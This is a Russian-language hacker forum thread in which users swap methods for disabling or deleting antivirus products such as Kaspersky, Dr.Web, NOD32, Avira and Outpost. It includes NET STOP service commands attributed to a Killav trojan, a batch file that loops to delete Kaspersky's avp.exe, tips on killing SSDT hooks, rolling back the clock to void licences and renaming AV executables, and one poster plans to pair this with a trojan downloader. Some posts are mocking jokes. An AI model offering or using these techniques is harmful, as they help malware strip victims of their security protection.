О том, как унечтожить антивирус

[System_Matrix]

Народ предлагаю выкладывать способы уничтожения баз и завершения процессов антивирусов таких как Касперский, Dr.Web, NOD32, Avast, Avira, Outpost!

 

[karabas-barabas]

вообще тут 2 способа или баги искать или уходить в ring0 и оттуда мочить аверов.

 

[MAXNM]

с такой орфографией в помощь тебе только "taskkill /?"

 

[System_Matrix]

вообще тут 2 способа или баги искать или уходить в ring0 и оттуда мочить аверов.

Это понятно! Я предлагаю выкладывать конкретные способы!

 

[System_Matrix]

Ладно!
Я начну:
Есть один способ через командную строку, возможно уже неробит (или робит но не навсех антивирусах)!
:nukesign: Водим команды: NET STOP NAVAOSVC, NET STOP PERSFW и NET STOP AVPCC :nukesign:
:excl: Знаю точно что эти команды использует вирус Trojan.Win32.Killav.bx :holloween:

 

[karabas-barabas]

Есть один способ через командную строку, возможно уже неробит (или робит но не навсех антивирусах)!
Водим команды: NET STOP NAVAOSVC, NET STOP PERSFW и NET STOP AVPCC
Знаю точно что эти команды использует вирус Trojan.Win32.Killav.bx

забудь про эту чушь :shit: , и вообще про ring3 если ты хочешь сносить антивирусы

 

[Одинокий Волк]

Если я не ошибаюсь то ТС к нам пришёл с WASM где он всех достал этими темами и гениальными идеями

 

[profeto]

NET STOP NAVAOSVC, NET STOP PERSFW и NET STOP AVPCC

Это неактуально уже, к сожалению!!! НО есть вариант задедосить любой антивирус!
Смотри:

ping -n 777 -l 1000 %antivirus_name%

И всё! Антивирус принимает специально сформированные пакеты и виснет!

Только не злоупотребляй этим зиродэй кодом! Потому что есть УК РФ, который регламентирует эти действия (ст.131 "Изнасилование", ст.134 "Секс с несовершеннолетними" и ст.145 "Необоснованный отказ в приеме на работу").

 

[System_Matrix]

Это неактуально уже, к сожалению!!! НО есть вариант задедосить любой антивирус! Смотри: Код|Code ping -n 777 -l 1000 %antivirus_name%

Незнаю у меня невышло! Антивири съедают и не давятся!

 

[karabas-barabas]

Если тот пост не помог, значит тебе сюда друг :

delavp.bat

@echo off
:try
del "C:\program files\Kaspersky Internet Security 2009\avp.exe"
if exist "C:\program files\Kaspersky Internet Security 2009\avp.exe"
goto try
del delavp.bat

этот специально подготовленный батник, который в цикле пытается удалить езке антивируса, в момент минутной слабости антивируса сносит его. Особенно тогда когда АВ обновляется он больше всего подвержен подобного рода атакам, так как отвлекается от проверки файлов и самозащиты на получение обнов с сервака и наиболее уязвим в этот момент.
Так же попоробуй использовать всякого рода мероприятия по компроментации АВ и психологического давления...

p.s. только не надо говорить мне спасибо - это моя работа помогать начинающим хэккерам :punk:

 

[KraZz]

Для начала научись кривые AV-хуки килять.. да так, чтобы систему жертвы не ронять.. иначе мяско(после бсода) на аверские форумы побежит жаловаться, тут сталобыть и сказочке конец будет
Как килять AV-хуки, можешь у RKU подсмотреть(дяди умные кодили), и даже если хорошо погуглить то, можно найти базу для ИДЫ уже с готовым реверсом, остаеццо только изучить тех. аспекты и вперед всех нах убиВаТь %)) (исходники и идеи тебе вот так просто, естественно никто не даст, забудь и наивно не надейся)
ЗЫ: и перестань читать хЕкер журналы 90-х – 200.. годов, лучше йаду выпей!

 

[karabas-barabas]

вот 2 еще способа аля System_Matrix:
1) Когда-то читал что аутпост может слететь при интенсивной отправке dns пакетов в макс возможное число потоков - скорей всего связано с криворукостью девелоперов
2) переводить время например на 3 года назад, чтоб слетала информация о лицензии и ав деактивировался

 

[Одинокий Волк]

2) переводить время например на 3 года назад, чтоб слетала информация о лицензии и ав деактивировался

Кстати такой был и правдо, в своё время работало на каспере, ноде и дрвебе, но это было пару лет назад.

 

[System_Matrix]

переводить время например на 3 года назад, чтоб слетала информация о лицензии и ав деактивировался

Спасибо!!!! Как я раньше не додумолся!!!!! :bang:
Все лиш маленький не полящийся скриптик!!!!! :yahoo: И антивирям ХАНА!!! :rip2: Дааа это особено удобно для Trojan-Downloader!!!

 

[Ra1mer]

Если исключительно в ознакомительных целях, а не для прикрытия всяких не хороших коняшек ... Можно переименовать формат исполняемого файла антивиря и ребутнуть машину =))(С кашпировским канешн такое не прокатит)

 

[karabas-barabas]

(С кашпировским канешн такое не прокатит)

сомневаюсь что хоть с одним более-менее свежим авером такое прокатит

 

[Ra1mer]

сомневаюсь что хоть с одним более-менее свежим авером такое прокатит

Хз, но год назад на Ноде и Вебе адназначно катило =)

 

[System_Matrix]

сомневаюсь что хоть с одним более-менее свежим авером такое прокатит

Но это было год назад!

 

[demien]

doctor web до пятой версии завершается обычным killtask('spidernt.exe') в дельфях (для особоинтересующихся погуглить и найтине проблема...)
с пятой версии там уже идет защита процесса от снятия
авиру можно убить перехватываю SSDT хуки. (работает и с последней версией)
по поводу нода эта тема не покатит...
с каспером тоже дела не очень обстоят... возможно и есть какие-либо способы, но они приват однозначно

 

[FuckSellers]

Delete...